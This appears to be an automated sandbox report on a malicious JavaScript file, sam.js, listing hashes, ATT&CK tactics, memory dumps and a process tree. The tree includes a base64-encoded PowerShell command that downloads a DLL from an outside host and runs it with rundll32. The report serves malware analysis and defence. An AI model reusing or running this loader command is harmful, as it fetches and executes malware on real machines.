efc4f3ad9b70627b7f238b936eae68e506a3368b362b7700ceae21221642e12e

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
14/03/2023, 19:41

Target

sam.js
Size

39KB
MD5

a480fe34e87362b9df6959a8a068e54d
SHA1

75e6c269fe54217fd29d02e02ce5bb8266b31d77
SHA256

efc4f3ad9b70627b7f238b936eae68e506a3368b362b7700ceae21221642e12e
SHA512

a5c81f28223a10e80eb8416327e976bb8e6777cf384ca88b0149b9b2833e004d7f571ebb8c82c81eae5704ef7198a2c6f10a59db23e5903c3bdca3d956fe13fd
SSDEEP

768:vTWqH5R2pmRawgJI1/ZsLqZhLYhHe9+M/sRwyWwlzD4tb2wyg6wZ0ocuEOp4e/dn:DH56qXfqNOyJM

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1980	powershell.exe
1980	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1980	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1192 wrote to memory of 1980	1192	wscript.exe	28
PID 1192 wrote to memory of 1980	1192	wscript.exe	28
PID 1192 wrote to memory of 1980	1192	wscript.exe	28
PID 1980 wrote to memory of 568	1980	powershell.exe	30
PID 1980 wrote to memory of 568	1980	powershell.exe	30
PID 1980 wrote to memory of 568	1980	powershell.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\sam.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAcwA6AC8ALwB0AGUAYwBuAG8AbABhAHAAdABvAHAAcwAuAGMAbwBtAC8AZAA3AFIATABoAGsALwB0ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABJAHMAbwBoAGUAcwBwAGUAcgBpAGQAaQBuAC4AZABsAGwAOwBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwASQBzAG8AaABlAHMAcABlAHIAaQBkAGkAbgAuAGQAbABsACwAWABTADgAOAA7AA=="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\Isohesperidin.dll XS88
    3⤵
    PID:568

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1980-58-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/1980-59-0x0000000002530000-0x0000000002538000-memory.dmp

Filesize
32KB

Download
memory/1980-60-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/1980-61-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download